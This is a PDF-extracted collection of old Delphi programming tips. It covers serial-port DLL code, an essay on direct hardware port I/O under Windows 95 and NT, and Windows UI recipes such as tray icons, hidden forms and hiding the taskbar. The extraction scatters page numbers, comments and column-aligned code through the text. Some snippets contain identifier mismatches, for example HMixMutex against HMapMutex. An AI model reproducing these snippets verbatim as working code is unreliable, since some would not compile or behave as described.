Result:=GetLastError; Exit; End; CloseHandle(hThread[Id]); hWndHandle[Id]:=0; hWndCommand[Id]:=0; if not CloseHandle(hCommPort[Id]) then Begin Result:=GetLastError; Exit; End; hCommPort[Id]:=0; Result:=NO_ERROR; End; Procedure Simple_Comm_CloseAll;StdCall; Var Teller:Integer; Begin For Teller:=0 to MaxPorts-1 do Begin if bDoRun[Teller] then Simple_Comm_Close(Teller); End; End; Function GetFirstFreeId:Integer;StdCall; Var Teller:Integer; Begin For Teller:=0 to MaxPorts-1 do Begin If not bDoRun[Teller] then Begin Result:=Teller; Exit; End; End; Result:=-1; End; //Export functie voor openen compoort Function Simple_Comm_Open(Port:PChar;BaudRate:DWORD;ByteSize,Parity,StopBits:Byte;Mas k:Integer;WndHandle:HWND;WndCommand:UINT;Var Id:Integer):Integer;StdCall; Var PrevId:Integer; ctmoCommPort:TCOMMTIMEOUTS; //Lees specificaties voor de compoort dcbCommPort:TDCB; Begin if (PortCount >= MaxPorts) or (PortCount < 0) then begin result:=error_invalid_function; exit; end; result:=0; previd:=id; id:=getfirstfreeid; if id = -1 then begin id:=previd; result:=error_invalid_function; exit; end; hcommport[id]:=createfile(port,generic_read or generic_write,0,nil,open_existing,file_attribute_normal,0); if hcommport[id]= invalid_handle_value then begin
833
bdorun[id]:=false; id:=previd; result:=getlasterror; exit; end; //lees specificaties voor het comm bestand ctmocommport.readintervaltimeout:=maxdword; ctmocommport.readtotaltimeoutmultiplier:=maxdword; ctmocommport.readtotaltimeoutconstant:=maxdword; ctmocommport.writetotaltimeoutmultiplier:=0; ctmocommport.writetotaltimeoutconstant:=0; //instellen specificaties voor het comm bestand if not setcommtimeouts(hcommport[id],ctmocommport) then begin bdorun[id]:=false; closehandle(hcommport[id]); id:=previd; result:=getlasterror; exit; end; //instellen communicatie dcbcommport.dcblength:=sizeof(tdcb); if not getcommstate(hcommport[id],dcbcommport) then begin bdorun[id]:=false; closehandle(hcommport[id]); id:=previd; result:=getlasterror; exit; end; if (mask and m_baudrate <> 0) then dcbCommPort.BaudRate:=BaudRate; if (Mask and M_ByteSize <> 0) then dcbCommPort.ByteSize:=ByteSize; if (Mask and M_Parity <> 0) then dcbCommPort.Parity:=Parity; if (Mask and M_Stopbits <> 0) then dcbCommPort.StopBits:=StopBits; if not SetCommState(hCommPort[Id],dcbCommPort) then Begin bDoRun[Id]:=FALSE; CloseHandle(hCommPort[Id]); Id:=PrevId; Result:=GetLastError; Exit; End; //Thread voor lezen compoort bDoRun[Id]:=TRUE; hThread[Id]:=CreateThread(nil,0,@Simple_Comm_Read,Pointer(Id),0,dwThread[Id] ); if hThread[Id] = 0 then Begin bDoRun[Id]:=FALSE; CloseHandle(hCommPort[Id]); Id:=PrevId; Result:=GetLastError; Exit; End else Begin SetThreadPriority(hThread[Id],THREAD_PRIORITY_HIGHEST); hWndHandle[Id]:=WndHandle; hWndCommand[Id]:=WndCommand; Inc(PortCount); Result:=NO_ERROR; End; End; //Export functie voor schrijven naar compoort; Function
834
Simple_Comm_Write(Id:Integer;Buffer:PChar;Count:DWORD):Integer;StdCall; Var Written:DWORD; Begin if (Id < 0) or (id > Maxports-1) or (not bDoRun[Id]) then Begin Result:=ERROR_INVALID_FUNCTION; Exit; End; if not WriteFile(hCommPort[Id],Buffer,Count,Written,nil) then Begin Result:=GetLastError(); Exit; End; if (Count <> Written) Then Result:=ERROR_WRITE_FAULT Else Result:=NO_ERROR; End; //Aantal geopende poorten voor aanroepende applicatie Function Simple_Comm_PortCount:DWORD;StdCall; Begin Result:=PortCount; End; {$IFNDEF COMM_UNIT} Exports Simple_Comm_Info Simple_Comm_Open Simple_Comm_Close Simple_Comm_Write Simple_Comm_PortCount
Index Index Index Index index
1, 2, 3, 4, 5;
Procedure DLLMain(dwReason:DWORD); Begin If dwReason = DLL_PROCESS_DETACH then Simple_Comm_CloseAll; End; Begin DLLProc:=@DLLMain; DLLMain(DLL_PROCESS_ATTACH);//geen nut in dit geval End. {$ELSE} Initialization Finalization Simple_Comm_CloseAll; end. {$ENDIF}
From: "Lennart"
835
var ComPort: Word; implementation uses Windows, SysUtils; const CPort: array [1..4] of String =('COM1','COM2','COM3','COM4'); var Com: THandle = 0; function OpenComm(InQueue, OutQueue, Baud : LongInt): Boolean; begin if Com > 0 then CloseComm; Com := CreateFile(PChar(CPort[ComPort]), GENERIC_READ or GENERIC_WRITE, 0, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); Result := (Com > 0) and SetCommTiming and SetCommBuffer(InQueue,OutQueue) and SetCommStatus(Baud) ; end; function SetCommTiming: Boolean; var Timeouts: TCommTimeOuts; begin with TimeOuts do begin ReadIntervalTimeout := 1; ReadTotalTimeoutMultiplier := 0; ReadTotalTimeoutConstant := 1; WriteTotalTimeoutMultiplier := 2; WriteTotalTimeoutConstant := 2; end; Result := SetCommTimeouts(Com,Timeouts); end; function SetCommBuffer(InQueue, OutQueue: LongInt): Boolean; begin Result := SetupComm(Com, InQueue, OutQueue); end; function SetCommStatus(Baud: Integer): Boolean; var DCB: TDCB; begin with DCB do begin DCBlength:=SizeOf(Tdcb); BaudRate := Baud; Flags:=12305; wReserved:=0; XonLim:=600; XoffLim:=150; ByteSize:=8; Parity:=0; StopBits:=0; XonChar:=#17; XoffChar:=#19; ErrorChar:=#0; EofChar:=#0;
836
EvtChar:=#0; wReserved1:=65; end; Result := SetCommState(Com, DCB); end; function SendCommStr(S: String): Integer; var TempArray : array[1..255] of Byte; Count, TX_Count : Integer; begin for Count := 1 to Length(S) do TempArray[Count] := Ord(S[Count]); WriteFile(Com, TempArray, Length(S), TX_Count, nil); Result := TX_Count; end; function ReadCommStr(var S: String) : Integer; var TempArray : array[1..255] of Byte; Count, RX_Count : Integer; begin S := ''; ReadFile(Com, TempArray, 255, RX_Count, nil); for Count := 1 to RX_Count do S := S + Chr(TempArray[Count]); Result := RX_Count; end; procedure CloseComm; begin CloseHandle(Com); Com := -1; end; end.
Port command and win95, a summary. From: Martin Larsson
APPOLOGY This was supposed to be a quick summary. It ended up being quite long. Hope it's not too boring...
THE PROBLEM Under MS-DOS, an application has control of the entire machine. This gives the programmer a lot of freedom. To maximize speed, you can access the hardware directly if necessary. Under Windows 3.x, this freedom was somewhat limited. You were no longer allowed to write directly to the screen, among other things. The problem is obvious: since the user could have any number of applications running, there was no guarantee that they were not accessing the same hardware simultaneously. Another problem that showed up was that you had to be nice to the other applications running at the same time. Win 3.x is co-operatively multitasked, meaning that each
837
application determines when it's done and other applications can run. Hogging the CPU for longer periods of time was not considered nice. But the fact that no applications would run unless we as programmers said so, could be worked to our advantage when accessing the hardware. Since the application were guaranteed full control over the machine for as long as it wished, it could, when it got the CPU, muck with the I/O ports or memory, but not give up control until it was done. Unfortunately, progress caught up with us; now there's Win32 (Windows NT and Windows 95). T hese are true operating systems, with true pre-emptive multi-tasking. Each thread (the execution unit) gets a certain amount of time with the processor. When the time is up, or a thread with higher priority comes along, the system will switch to the next thread, even though the first thread is not done. This switching can occur between any two assembly instructions; there's no guarantee that a thread will be able to complete any number of instructions before it's pre-empted, and there might be a long time 'till the next timeslot. This brings up a real problem with direct hardware access. A typical I/O read, for instance, is composed of several assembly instructions: mov mov out jmp Wait: mov in
dx, AddressPort al, Address dx, al Wait dx, DataPort al, dx
While the state of all registers are preserved on a thread-switch, the state of the I/O ports are not. So, it is very possible that three applications have their way with 'your' I/O port between the 'out' and the 'in' instructions above.
THE DOCUMENTED WAY The solution to this problem is to somehow tell all other applications that "Currently MyProg is using port 546, and everybody else better stay in line." What's needed is a mutex. Unfortunately, to use a mutex, all applications have to agree on a name for that mutex. But even if that was possible, you'd easily get into some thorny problems. Consider two applications App1 and App2. Both wants to execute the above code. Unfortunately, they're created by different people with different views, so App1 asks for the AddressPortMutex first, while App2 asks for the DataPortMutex first. And, by a sad coincidence, App1 gets the AddressPortMutex, then the system swithes to App2, which aquires the DataPortMutex, and we're deadlocked. App2 can't get the address port, 'cause App1 has that. App1 can't get the data port, 'cause App2 has that. And we're still waiting... The correct way to solve this problem is to create a device driver that owns the port/memory area. Access to the hardware is supported through an API. A typical function would be GetIOPortData(AddressPort, DataPort : word) : Byte;
GetIOPortData would aquire a mutex that protects both (possibly all) ports, then access the ports, and finally releasing the mutex before returning to the caller. If different threads are calling this function at the same time, one will get there first, the others must wait. Writing a device driver is not easy. It must be done in assembler or C, and they are really hard to debug. And just to be safe, a device driver for Windows 95 (a VxD) isn't compatible with a device driver for Windows NT (a VDD, for virtual device driver). They are said to converge, and Windows NT 6.0 and Windows 2000 might have compatible device drivers, but until then, we're stuck with writing two separate pieces of code. For more info see (for instance): 838
Microsoft's Windows 95 Device Driver Kit Microsoft's Windows NT Device Driver Kit Microsoft Press' "Systems Programming for Windows 95" by Walter Oney Also, check out Vireo's VtoolsD library for writing VxD's in C. http://www.vireo.com/.
THE UNDOCUMENTED WAY The above problem isn't too real. An application that accesses the hardware directly, is usually using some specialized hardware. A machine-configuration like that tend to run one application only, who's sole purpose is to access that hardware. In such a scenario, writing a device driver seems too much trouble. After all, the reason the thing is running on Windows, is just to get the nice GUI for (almost) free, not that 10 applications can be running simultaneously. Fortunately, Windows 95 is built to be compatible with Windows 3.x. This means that direct I/O must be allowed, simply because a lot of Win 3.x programs uses it. To access the I/O ports, simply step down to assembly. The following code was supplied by Arthur Hoornweg ([email protected]): function getport(p:word):byte; stdcall; begin asm push edx push eax mov dx,p in al,dx mov @result,al pop eax pop edx end; end; Procedure Setport(p:word;b:byte);Stdcall; begin asm push edx push eax mov dx,p mov al,b out dx,al pop pop end; end;
eax edx
François Piette also has some direct I/O access functions at http://rtfm.netline.be/fpiette/portiofr.htm
BUT WHAT ABOUT NT? The above will not work on Windows NT. NT is a much more robust operating system, and allowing all and everybody access to the hardware anytime they wanted, would seriously endager the stability. In addition, NT is cross platform, and access to I/O ports might be wildly different on different processors. Even so, it is possible to access the I/O ports directly under NT on x86 processors. This is highly undocumented, and will probably disappear in future versions of the operating system.
839
I have not much information on the process, but an article by D. Roberts in the May, 1996 issue of Dr. Dobb's Journal looks promising: "Direct Port I/O and Windows NT." This seems to be the only DDJ I'm missing, so I can't verify it. See http://www.ddj.com for ordring of back-issues. Windows Developer's Journal does have an article on "Port I/O under Windows." It's written by Karen Hazzah, and appeared in the June 1996 issue. See http://www.wdj.com for ordering of back-issues.
RESOURCES (Note, I know very little about these resources, check them out yourself.) There are newsgroups dedicated to the topic of writing VxD's and VDD's: comp.os.ms-windows.programmer.nt.kernel-mode (VDD) comp.os.ms-windows.programmer.vxd (VxD) Dejanews (http://www.dejanews.com) turned up quite a few hits on 'device driver direct I/O access 95'. BlueWater Systems have developed OCX's for direct I/O, memory access and interrupt handling under all Win32 platforms. They also seem to offer custom built device drivers. See their page at http://www.bluewatersystems.com/. I know some other company has been advertising here for their ability to write custom VxD's. But I can't find that reference.
Hardware port access in DELPHI 2 function InPort(PortAddr: word): byte; {$IFDEF VER90} assembler; stdcall; asm mov dx,PortAddr in al,dx end; {$ELSE} begin Result := Port[PortAddr]; end; {$ENDIF} procedure OutPort(PortAddr: word; Databyte: byte); {$IFDEF VER90} assembler; stdcall; asm mov al,Databyte mov dx,PortAddr out dx,al end; {$ELSE} begin Port[PortAddr] := DataByte; end; {$ENDIF}
Please email me and tell me if you liked this page. Last modified 03/12/00 12:10:13
840
Windows 81. ???? Data segment too large ???? 82. Read the Run Minimized Checkbox 83. Cannot properly minimize a form on startup 84. Shared memory in a DLL with Delphi 2.0 85. Shell_NotifyIcon 86. How do I make completely invisible main forms?? 87. HELP !! STAY-ON-TOP !!! 88. Hiding Windows 95 Taskbar 89. A Catch-a-Maximize Command Question 90. How do you detect Windows version? 91. How can I change the wallpaper programmatically? 92. Path / directory name for 'My Computer' 93. Determining which font (Large or Small) is in use 94. Large/Small Fonts? 95. How can I restore a window to its last state when I run it again? 96. How: to determine name of StartUp group 97. Finding Boot Drive 98. How to make a window system modal ? 99. Sending Keystrokes/Text to a Window... 100. Windows Messages Basics 101. Buttons in Win95 task bar 102. Control Panel 103. Associate filetype [extension)
104.
Hide Start Buttonwindows23
105.
Greying Close Button on system menuwindows24
???? Data segment too large ???? From: [email protected] (Sundial Services) In article <[email protected]> Jean-Luc Nicoulin
841
I get the message 'Data segment too large'. What is the matter and what can I do to solve the problem ?
In a Windows 3.1 application, three major data-areas share one(!) 64K memory segment: t he stack, the Windows 'local heap', and the data-segment containing all globals and initialized constants. This area can become used up extremely quickly. Consequently, W3.1 applications store almost -nothing- in the stack or in a global. Rather, they store -pointers- to them. This is why, in Delphi, 'an object is a pointer.' What you have to do is to comb your application looking for large globals and to move those into a common data block which your program allocates on startup (as an object) and destroys when done. You can see a lot about what's in the data segment by setting the 'linker map' to 'detailed' and looking for the 'DATA' segment. Whatever's in that segment is going to be trying to occupy space in the lower part of that 64K-memory segment.
Read the Run Minimized Checkbox Solution 1 Paul S. Knapp wrote: > > Does anyone know how to make as Delphi app read the Run Minimized > checkbox in the Windows 3.1 or 3.11 StartUp Group. > > I cannot get my application to run minimized when this checkbox is > checked. I would like to be able to give my users the option of > starting the application in their startup group, in either maximized or > minimized mode. Every Windows application I have ever used is able to > start in the mode selected by the checkbox in the Startup Group. I > assume Delphi applications should be able to as well, but so far I a > haven't found a way. > > Thanks in advance for your advice > Paul Knapp
Hi Paul! Use WinProcs unit and after created main form add call ShowWindow. You can use HInstance, HPrevInst, CmdShow and CmdLine global variables. program Project1; uses WinProcs, {*** use WinProcs} Forms, Unit1 in 'UNIT1.PAS' {Form1}; {$R *.RES} begin Application.CreateForm(TForm1, Form1); ShowWindow(Form1.handle, CmdShow); Application.Run; end.
Solution 2 From: Ken Kyler
Rubenking, Neil (1996). _Delphi Programming Problem Solver_. Foster City, CA: IDG Books. ISBN:1-56884-795-5. unit Unit1; interface uses SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms, Dialogs; type TForm1 = class(TForm) procedure FormCreate(Sender: TObject); procedure FormActivate(Sender: TObject); private { Private declarations } public { Public declarations } ShowHow : word ; end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.FormCreate(Sender: TObject); var SUI : TStartupInfo ; begin if CmdShow = SW_SHOWDEFAULT then begin GetStartupInfo( SUI ) ; ShowHow := SUI.wShowWindow ; end else ShowHow := CmdShow ; if ShowHow = SW_SHOWMAXIMIZED then WindowState := wsMaximized ; end; procedure TForm1.FormActivate(Sender: TObject); begin case ShowHow of SW_SHOWMINIMIZED, SW_MINIMIZE, SW_SHOWMINNOACTIVE : Application.Minimize ; end ; end; end.
Solution 3 From: [email protected] (Andreas Viebke) This works with NT 4 and Delphi 2.01. It took me one and a half hours to find out: Make your project code look like this:
843
begin Application.Initialize; Application.CreateForm(TForm1, Form1); Form1.Show; Application.Minimize; Application.Run; end.
It seems to be important that neither OnCreate nor OnShow is disturbed by a procedure that changes a window's state.
Cannot properly minimize a form on startup From: [email protected] (Abel du Plessis) I need to start my form minimized, unfortunetly it doesn't work. When I set the WindowState property of the main form to wsMinimized and run it, the form minimizes onto Win95 desktop instead of the taskbar how it properly should. Does anyone know how to fix this bug?
There was an article in The Delphi Magazine, Issue 19, March 1997 - the Delphi Clinic section which explained the problem. Here is my adaptation of the fix: unit Foobar; interface type
TfrmFoobar = class(TForm); procedure DoRestore(Sender: TObject); procedure FormCreate(Sender: TObject); private { Private declarations } public { Public declarations } end;
implementation procedure TfrmUVChannel.FormCreate(Sender: TObject); begin //Assign a temporary event handler for when the app gets restored Application.OnRestore := DoRestore; Application.Minimize; end; procedure TfrmFoobar.DoRestore(Sender: TObject); begin Application.ShowMainForm := True; //Restore the application Perform(wm_SysCommand, sc_Restore, 0); //Ensure all components draw properly Show; //Disconnect this event handler so it will not be called again Application.OnRestore := nil; end; initialization //Hide the minimized main form for now
844
Application.ShowMainForm := False; end.
Shared memory in a DLL with Delphi 2.0 From: [email protected] (John Crane) Sharing Memory Mapped Files... Check out the following code: var HMapping: THandle; PMapData: Pointer; const MAPFILESIZE = 1000; procedure OpenMap; var llInit: Boolean; lInt: Integer; begin HMapping := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, MAPFILESIZE, pchar('MY MAP NAME GOES HERE')); // Check if already exists llInit := (GetLastError() <> ERROR_ALREADY_EXISTS); if (hMapping = 0) then begin ShowMessage('Can''t Create Memory Map'); Application.Terminate; exit; end; PMapData := MapViewOfFile(HMapping, FILE_MAP_ALL_ACCESS, 0, 0, 0); if PMapData = nil then begin CloseHandle(HMapping); ShowMessage('Can''t View Memory Map'); Application.Terminate; exit; end; if (llInit) then begin // Init block to #0 if newly created memset(PMapData, #0, MAPFILESIZE); end; end; procedure CloseMap; begin if PMapData <> nil then begin UnMapViewOfFile(PMapData); end; if HMapping <> 0 then begin CloseHandle(HMapping); end; end;
Any two or more applications or DLLs may obtain pointers to the same physical block of memory this way. PMapData will point to a 1000 byte buffer in this example, this buffer being initialized to #0's the first time in. One potential problem is synchronizing access to the memory. You may accomplish this through the use of mutexes. Here's an example of that: 845
{ Call LockMap before writing (and reading?) to the memory mapped file. to call UnlockMap immediately when done updating. }
Be sure
var HMapMutex: THandle; const REQUEST_TIMEOUT = 1000; function LockMap:Boolean; begin Result := true; HMapMutex := CreateMutex(nil, false, pchar('MY MUTEX NAME GOES HERE')); if HMixMutex = 0 then begin ShowMessage('Can''t create map mutex'); Result := false; end else begin if WaitForSingleObject(HMapMutex,REQUEST_TIMEOUT) = WAIT_FAILED then begin // timeout ShowMessage('Can''t lock memory mapped file'); Result := false; end; end; end; procedure UnlockMap; begin ReleaseMutex(HMixMutex); CloseHandle(HMixMutex); end;
Please excuse my unnecessary begin..end's. I come from a Clipper background, and I prefer to see my logic blocks capped off with end's - easier to follow.
Shell_NotifyIcon From: "Neil Clayton" <[email protected]> Rainer Perl
I have a question to the Shell_NotifyIcon function: I can add an icon to the taskbar I can modify an icon I can delete an icon. What I can't do: I can't receive Messages from the Icon!!
To receive messages you must add the NIF_MESSAGE flag to your notify structure and tell it what message to send and to which window. This is the code that I use: procedure TMainForm.UpdateTaskBar; area var NotifyData: TNotifyIconData; begin With NotifyData do data structure begin cbSize Wnd uID uFlags aspects to modify ...
// update the win95 taskbar icon
// set up the := SizeOf(TNotifyIconData); := MyForm.Handle; := 0; := NIF_ICON or NIF_MESSAGE or NIF_TIP;
// ... the
846
uCallbackMessage := WM_MY_MESSAGE; message to send back to us ... hIcon := hMyIcon; szTip := 'Tool Tip To Display'; tip end; Shell_NotifyIcon(dwMessage, @NotifyData); update end;
// ... the // ... and the tool // now do the
WM_MYMESSAGE is a user defined message. Usually defined as: const WM_MYMESSAGE = WM_USER +
How do I make completely invisible main forms?? From: [email protected] (Chris Randall) "J.J. Bakker"
I have run into the same problem but found the answer. This little bit of code works great. procedure TMainForm.FormCreate(Sender: TObject); begin Application.OnMinimize:=AppMinimize; Application.OnRestore:=AppMinimize; Application.Minimize; AppMinimize(@Self); end; procedure TMainForm.AppMinimize(Sender: TObject); begin ShowWindow(Application.Handle, SW_HIDE); end;
HELP !! STAY-ON-TOP !!! From: "James D. Rofkar"
Try using the Windows API function SetWindowPos(). Something like... with MyForm do SetWindowPos(Handle,
847
HWND_TOPMOST, Left, Top, Width, Height, SWP_NOACTIVATE or SWP_NOMOVE or SWP_NOSIZE);
You may need to call this function in your Form's OnShow(), OnDeactivate(), and OnActivate() event handlers.
Hiding Windows 95 Taskbar From: "James D. Rofkar"
I'm guessing you're referring to the Windows 95 taskbar and system tray window, and not a statusbar. The answer: Sure you can! And what a cool idea! Here's how: 1. First declare a variable of type HWND to store the Window handle of the Windows 95 taskbar. TForm1 = class(TForm) ... private hTaskBar: HWND; ... end;
2. In your main form's OnCreate() event handler, place some code that resembles: hTaskBar := FindWindow('Shell_TrayWnd', nil); ShowWindow(hTaskBar, SW_HIDE);
3. Finally, in your main form's OnDestroy() event handler, code something like: ShowWindow(hTaskBar, SW_SHOW);
"Earl F. Glynn"
848
THEN ShowWindow(WindowHandle, SW_RESTORE) END {ShowWin95TaskBar};
A Catch-a-Maximize Command Question From: "Chami" <[email protected]> > I need to have a form in my application that zooms to half of > the screen when the Maximize button is pressed, not to full > screen. >
you could handle the WM_GETMINMAXINFO message from your form. for example, add the following declaration to the protected section of your form (interface): procedure _WM_GETMINMAXINFO( var mmInfo : TWMGETMINMAXINFO ); wm_GetMinMaxInfo;
message
then define (implementation) the above message handler as follows (TForm1 being the name of your form of course): procedure TForm1._WM_GETMINMAXINFO( var mmInfo : TWMGETMINMAXINFO ); begin // set the position and the size of your form when maximized: with mmInfo.minmaxinfo^ do begin ptmaxposition.x := Screen.Width div 4; ptmaxposition.y := Screen.Height div 4;
end;
ptmaxsize.x ptmaxsize.y
:= Screen.Width div 2; := Screen.Height div 2;
end;
How do you detect Windows version? From: [email protected] Check the API help In the WINPROCS unit try the function GetVersion: LongInt; The GetVersion function retrieves the current version numbers of the Windows and MSDOS operation systems. NOTE there is a error in the orginal API documentation, the major/minor Win version are reversed! As I have used it: Windows 3.1 show up as 3.1, WIN95 shows up as 3.95 Note For windows 95 and higher use the function GetVersionEx
849
How can I change the wallpaper programmatically? Solution 1 The following code comes from Loyds Help File (it can be found on most delphi web pages). I haven't tried it but I will use it in one of my apps as soon as I get the bitmap from the client. let me know if it works for you. unit Unit1; interface uses SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms, Dialogs; type TForm1 = class(TForm) procedure FormCreate(Sender: TObject); procedure FormPaint(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; Bitmap: TBitmap; implementation {$R *.DFM} procedure TForm1.FormCreate(Sender: TObject); begin Bitmap := TBitmap.Create; Bitmap.LoadFromFile('C:\WINDOWS\cars.BMP'); end; procedure TForm1.FormPaint(Sender: TObject); var X, Y, W, H: LongInt; begin with Bitmap do begin W := Width; H := Height; end; Y := 0; while Y < Height do begin X := 0; while X < Width do begin Canvas.Draw(X, Y, Bitmap); Inc(X, W); end; Inc(Y, H); end;
850
end; end.
Solution 2 From: "Dirk Faber "
{bitmap contains filename:
var pBitmap : pchar; begin bitmap:=bitmap+#0; pBitmap:=@bitmap[1]; SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, pBitmap, SPIF_UPDATEINIFILE); end; > Also, is there a way of saving it to the INI file for next session?
1. add inifiles to the uses list. 2. create an inifile with a texteditor like this: [LastUsedBitmap] LUBitmap= c:\mybitmap.bmp
3. use a procedure like this: (supposed the inifile is like above, and is named c:\Bitmap.ini) procedure WriteToIniFile(bitmap : string); var MyIniFile : TInifile; begin MyIniFile := Tinifile.Create( 'c:\Bitmap.ini' ); MyIniFile.WriteString( 'LastUsedBitmap', 'LUBitmap', bitmap); MyIniFile.Free; end; procedure ReadFromIniFile(var bitmap: string); var MyIniFile : TInifile; begin MyIniFile := Tinifile.Create( 'c:\Bitmap.ini' ); bitmap:= MyIniFile.ReadString('LastUsedBitmap', 'LUBitmap'); MyIniFile.Free; end;
Path / directory name for 'My Computer' Christian Piene Gundersen
851
This is a rather complicated matter, so if it isn't vital to your application, I suggest that you spend your time better than digging into it. However, I'll try to point you in the right direction. The windows 32 operating system is based on a shell which uses virtual folders, like 'my computer', 'desktop' and 'recycle bin'. Some of these folders are part of the physical file system. That is they have a corresponding directory in the file system. This is the case with 'desktop' and 'recycle bin'. These directories can be used as InitialDir for the TOpenDialog, but first you have to get their physical location, which can be different on different computers. To get the physical location of these folders, you have to use some special API calls (see example below). Other folders, like 'my computer' and 'printers' are not part of the file system - they are only virtual. I've noticed that you can browse to these folders using the TOpenDialog, but I don't think they can be used as InitialDir. Virtual folders are (a bit simplified) of the type SHITEMID (item identifier). They are normally accessed using pointers to item identifiers list (PIDL). To get the PIDL of a special folder, you can use the SHGetSpecialFolder function. The physical location of the corresponding directory can then be obtained by passing the PIDL to the GetPathFromIDList function. If the folder is part of the file system, the function will return the path as a string (which can be used as InitialDir). But if you want the OpenDialog to start in a folder that is only virtual (like 'my computer'), you'll have to make it accept a PIDL as InitialDir, which I don't think it will. My guess is that the TOpenDialog uses PIDLs when browsing, but only accepts physical directories as InitialDir. Here is an example that shows how to get the 'recent documents' path and use it as InitialDir: procedure TForm1.Button1Click(Sender: TObject); var PIDL: Pointer; Path: LPSTR; const CSIDL_RECENT = $0008; begin Path := StrAlloc(MAX_PATH); SHGetSpecialFolderLocation(Handle, CSIDL_RECENT, @PIDL); if SHGetPathFromIDList(PIDL, Path) then // returns false if folder isn't part of file system begin OpenDialog1.InitialDir := Path; OpenDialog1.Execute; end; StrDispose(Path); end;
I think you'll have to write a wrapper for these API calls. They are found in shell32.dll. The best advice I can give you if you want to dig into this is to study the ShlObj.h file. I don't program in C myself, but I found it very useful. Some constants you may need: CSIDL_DESKTOP CSIDL_PROGRAMS CSIDL_CONTROLS CSIDL_PRINTERS CSIDL_PERSONAL CSIDL_STARTUP CSIDL_RECENT CSIDL_SENDTO CSIDL_BITBUCKET CSIDL_STARTMENU CSIDL_DESKTOPDIRECTORY CSIDL_DRIVES
= = = = = = = = = = = =
$0000; $0002; $0003; $0004; $0005; $0007; $0008; $0009; $000a; $000b; $0010; $0011;
// My Computer
852
CSIDL_NETWORK CSIDL_NETHOOD CSIDL_FONTS CSIDL_TEMPLATES
= = = =
$0012; $0013; $0014; $0015;
Determining which font (Large or Small) is in use "Greg Peterson"
Large/Small Fonts? Gene Eighmy
When my programs run on systems with small fonts, I often get strange output. Labels too small to hold all the text, leaving the right, or the bottom, unshown, for instance. StringGrid's which don't align as expected.
Try this. This will rescale both the form size and also reform small vs. large fonts. Call it in Form.FormCreate. Hope this helps. unit geScale; interface uses Forms, Controls; procedure geAutoScale(MForm: TForm); implementation Type TFooClass = class(TControl); { needed to get at protected } { font property } procedure geAutoScale(MForm: const cScreenWidth :integer = cScreenHeight:integer = cPixelsPerInch:integer= cFontHeight:integer =
TForm); 800; 600; 96; -11;
{Design-time value of From.Font.Height}
853
var i: integer; begin { IMPORTANT!! : Set Scaled Property of TForm to FALSE with Object Inspector. The following routine will scale the form such that it looks the same regardless of the screen size or pixels per inch. The following section determines if the screen width differs from the design-time screen size. If it differs, Scaled is set true and component positions are rescaled such that they appear in the same screen location as the design-time location. } if (Screen.width &;lt> cScreenWidth)or(Screen.PixelsPerInch <> cPixelsPerInch) then begin MForm.scaled := TRUE; MForm.height := MForm.height * screen.Height DIV cScreenHeight; MForm.width := MForm.width * screen.width DIV cScreenWidth; MForm.ScaleBy(screen.width, cScreenWidth); end; { time
This section determines if the run-time font size differs from the designtime font size. If the run-time pixelsperinch differs form the design-
pixelsperinch, the fonts must be rescaled in order for the form to appear as designed. Scaling is calculated as the ratio of the design-time font.height to run-time font.height. Font.size will not work as it may equal the designtime value yet appear physically larger crowding and overrunning other components. For instance, a form designed in 800x600 small fonts has a font.size of 8. When you run the form on in 800x600 large fonts, font.size is also 8 but the text is noticably larger than when run in small font mode. This scaling will make them both appear to be the same size. } if (Screen.PixelsPerInch <> cPixelsPerInch) then begin for i := MForm.ControlCount - 1 downto 0 do TFooClass(MForm.Controls[i]).Font.Height := (MForm.Font.Height div cFontHeight) * TFooClass(MForm.Controls[i]).Font.Height; end; end; end.
How can I restore a window to its last state when I run it again? A: Here is WindowRestorer - a window size and state restorer 854
DESCRIPTION: Ever notice how professional programs seem to remember in what condition and location you left them and their child windows? Ever notice how most RAD apps don't? You can take that ragged edge off your program with this unit. It Allows apps to save the location, size, and state of windows so that when the user reopens them, they will look as the user left them. USE: Put WINRSTOR in the uses of clause of your main form and any forms that will be saving or restoring their own state, size, or location. (If you will be doing all the saving and restoring using WinSaveChildren and WinRestoreChildren from the main form, you only need reference it in the main form's uses clause.) In MainForm.Create, initialize the global WinRestorer object as follows (it's already declared in this file, but needs to be allocated): GlobalWinRestorer := TWinRestorer.create( Application, TRUE, WHATSAVE_ALL);
Which is the same as: GlobalWinRestorer := TWinRestorer.create( Application, TRUE, [location, size, state]);
Then, in MainForm.Destroy, deallocate the global WinRestorer object as follows: GlobalWinRestorer.free;
A good place to save a form's status is in the queryclose event or else attached to a button or menu item. I usually create an item in the File Menu captioned 'Save &Workspace' which does: GlobalWinRestorer.SaveChildren(Self, [default]);
And under main form's Close event I put: GlobalWinRestorer.SaveWin(Self, [WHATSAVE_ALL]);
I have tended to restore the children's status in their own show events like this: GlobalWinRestorer.RestoreWin(Self, [default]);
though I am moving toward putting in the main form's show event: GlobalWinRestorer.RestoreWin(Self, [default]); GlobalWinRestorer.RestoreChildren(Self, [default]);
HINTS: If you set TForm.Position to poScreenCenter or anything fancy, this unit won't do what you expect. poDesigned seems to work fairly well. I could have raised an exception if you try to set top and left of a poScreenCentere'd form, but then you have to be careful using WinRestoreChildren. I opted not to check the position property and leave that up to individual developers. unit WinRstor; INTERFACE USES SysUtils, Forms; TYPE {=============================================================}
855
